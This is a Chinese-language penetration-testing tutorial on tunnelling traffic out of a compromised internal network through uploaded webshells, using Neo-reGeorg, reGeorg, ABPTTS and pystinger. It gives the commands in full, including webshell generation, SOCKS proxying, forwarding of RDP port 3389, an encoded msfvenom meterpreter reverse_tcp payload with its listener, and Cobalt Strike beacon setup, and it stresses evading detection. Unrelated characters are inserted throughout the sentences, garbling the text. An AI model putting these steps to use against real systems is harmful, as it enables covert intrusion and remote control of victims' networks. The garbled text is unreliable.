前言
最近在整理內(nèi)網(wǎng)滲透的一些相關(guān)資料,隧道的搭建是后滲透階段重要的一環(huán)凹炸。隨著防守的手段不斷升級(jí)戏阅,某些情況下只能搭建http隧道。
http隧道
簡介
通過HTTP協(xié)議與代理服務(wù)器建立連接啤它,把所有要傳送的數(shù)據(jù)全部封裝到HTTP協(xié)議里進(jìn)行傳送奕筐,協(xié)議中包含有要連接的遠(yuǎn)程主機(jī)的IP和端口舱痘,連接成功之后會(huì)返回給客戶端200,表示驗(yàn)證通過离赫。
適用環(huán)境
獲取webshell的主機(jī)位于內(nèi)網(wǎng)芭逝,并且該內(nèi)網(wǎng)主機(jī)的icmp、dns渊胸、tcp和udp協(xié)議等都不能出網(wǎng)旬盯,唯一的數(shù)據(jù)通道是webshell搭建正向代理。
根據(jù)代理的穩(wěn)定性翎猛、速度推薦Neo-reGeorg胖翰、reGeorg、abptts 三款工具切厘。
Neo-reGeorg
簡介
可以稱為reGeorg的升級(jí)版萨咳,且傳輸內(nèi)容經(jīng)過了base64編碼,避免特征檢查疫稿,有效繞過檢測培他。
下載
https://github.com/L-codes/Neo-reGeorg
使用
1.設(shè)置密碼,生成tunnel的webshell遗座,并上傳到目標(biāo)服務(wù)器舀凛。
python neoreg.py generate -k cseroad
- 使用neoreg.py連接webshell,并在本地建立socks代理
注意:這里使用tunnel.nosocket.php途蒋,無socket的腳本
python neoreg.py -k cseroad -u http://xx/tunnel.nosocket.php
windows上可以使用SocksCap64 或者proxifier工具配置代理猛遍。
以windows上的SocksCap64 為例,添加代理号坡。
測試連接成功螃壤。
注意有個(gè)測試代理地址。
點(diǎn)擊可測試筋帖。
linux上可以使用proxychains代理
編輯
vim /etc/proxychains.conf
添加代理IP以及端口即可。
kali本地工具就可以通過proxychains命令全部代理進(jìn)內(nèi)網(wǎng)冤馏。
注意代理不支持icmp協(xié)議日麸。proxychains nmap -Pn -sT -sV -v -T4 IP
reGeorg
簡介
reGeorg 是 reDuh 的升級(jí)版。主要把內(nèi)網(wǎng)服務(wù)器的端口通過http或https隧道轉(zhuǎn)發(fā)到本機(jī)逮光。
下載
https://github.com/sensepost/reGeorg
使用
1.上傳tunnel.nosocket.php到目標(biāo)服務(wù)器代箭。
2.連接tunnel.nosocket.php,配置代理涕刚。
python reGeorgSocksProxy.py -u http://xxx/tunnel/tunnel.nosocket.php -p 9999
在SocksCap64 添加代理嗡综。
測試連接成功。
abptts
簡介
abptts是一款基于ssl加密的http隧道工具杜漠。全程通信數(shù)據(jù)加密有效對(duì)抗檢測极景。
下載
https://github.com/nccgroup/ABPTTS
使用
1.安裝python依賴庫
pip install pycrypto
pip install httplib2
2.本地運(yùn)行察净,生成webshell
注意:該工具不支持php
python abpttsfactory.py -o webshell
將生成的代理腳本選擇性上傳到目標(biāo)服務(wù)器。
返回hash值盼樟,說明代理正常執(zhí)行氢卡。
建立隧道,將目標(biāo)服務(wù)器的3389和本地的3389進(jìn)行綁定晨缴。
python abpttsclient.py -c webshell/config.txt -u "http://xxxxx/abptts.aspx" -f 127.0.0.1:33389/127.0.0.1:3389
遠(yuǎn)程連接本地的33389端口
另外:
冰蝎本身也有socks代理译秦。
Tunna 也可以在內(nèi)網(wǎng)代理中轉(zhuǎn)發(fā)端口。
pystinger
簡介
pystinger是通過webshell來實(shí)現(xiàn)內(nèi)網(wǎng)的SOCK4代理击碗。
使用python開發(fā)筑悴,當(dāng)前支持php,jsp(x)稍途,aspx三種代理腳本阁吝。可直接用于metasploit晰房,cobalt strike上線求摇。
下載
https://github.com/FunnyWolf/pystinger
使用
1.上傳proxy.jsp到目標(biāo)服務(wù)器,確笔庹撸可以正常訪問与境。
2.上傳stinger_server.exe 到目標(biāo)服務(wù)器,并start命令運(yùn)行該程序
start stinger_server.exe
vps 運(yùn)行client端
./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000
將會(huì)在vps的6000端口啟用socks4a代理
在SocksCap64 添加代理猖吴,測試一下摔刁。
上線cobaltstrike
配置60020端口的listener。
選擇payload 生成artifact.exe海蔽,觸發(fā)后即可上線共屈。
vps可看到socks連接。
上線metasploit
msfvenom生成60020端口的payload.exe
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=60020 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
metasploit 配置對(duì)應(yīng)的監(jiān)聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 60020
set exitonsession false
exploit -j -z
將payload.exe在目標(biāo)機(jī)上觸發(fā)后党窜,即可上線拗引。
參考資料
https://micro8.github.io/Micro8-HTML/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/